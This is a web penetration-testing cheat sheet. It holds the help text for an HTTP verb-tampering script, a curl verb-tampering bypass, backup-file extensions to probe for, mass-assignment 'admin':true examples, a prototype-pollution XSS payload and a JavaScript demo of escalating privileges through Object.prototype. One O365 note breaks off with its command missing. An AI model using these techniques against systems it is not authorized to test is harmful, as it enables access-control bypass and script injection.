HTTP Methods Tester, v1.0.2
usage: httpmethods.py [-h] -u URL [-v] [-q] [-k] [-w WORDLIST]
                              [-t THREADS] [-j JSONFILE]

This Python script can be used for HTTP verb tampering to bypass forbidden access, and for HTTP methods enumeration to find dangerous enabled methods like PUT

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     e.g. https://example.com:port/path
  -v, --verbose         verbosity level (-v for verbose, -vv for debug)
  -q, --quiet           Show no informations at all
  -k, --insecure        Allow insecure server connections when using SSL (default: False)
  -w WORDLIST, --wordlist WORDLIST
                        HTTP methods wordlist (default: default_wordlist.txt)
  -t THREADS, --threads THREADS
                        Number of threads (default: 5)
  -j JSONFILE, --jsonfile JSONFILE
                        Save results to specified JSON file.

# Test for others HTTP methods (verb tampering)
# Bypass .htaccess
curl -X COUCOU <target>

# Install files
# You can check for backup files using the following extensions
.backup, .bck, .old, .save, .bak, .sav, ~, .copy, .old, .orig, .tmp, .txt, .back, .bkp, .bac, .tar, .gz, .tar.gz, .zip, .rar

# Check headers
# They often give informations
curl -v <target>

# If some JSON objects are in the response but not in the request
# Try do add them in the request, you could override properties
{"id":"7"} => {"id":"7", "admin":false}
{"id":"7", "admin":true} => {"id":"7", "admin":true}

# If facing OWA applications, you can check if the target is using O365 or on premise applications
# If the following is "Managed", the targets uses o365

https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/

# Payloads
https://github.com/BlackFan/client-side-prototype-pollution

# Example
# The payload parameter pollutes the prototype, making it available on the messages object
# The message parameter is used to choose our payload to be displayed
?__proto__[payload]=<img%20src%20onerror=alert(document.domain)>&message=payload

# Another example
#############
const user = { userid: 123 };
if (user.admin) {
    console.log('You are an admin');
}
###
Object.prototype.admin = true;
const user = { userid: 123 };
if (user.admin) {
    console.log('You are an admin'); // this will execute
}
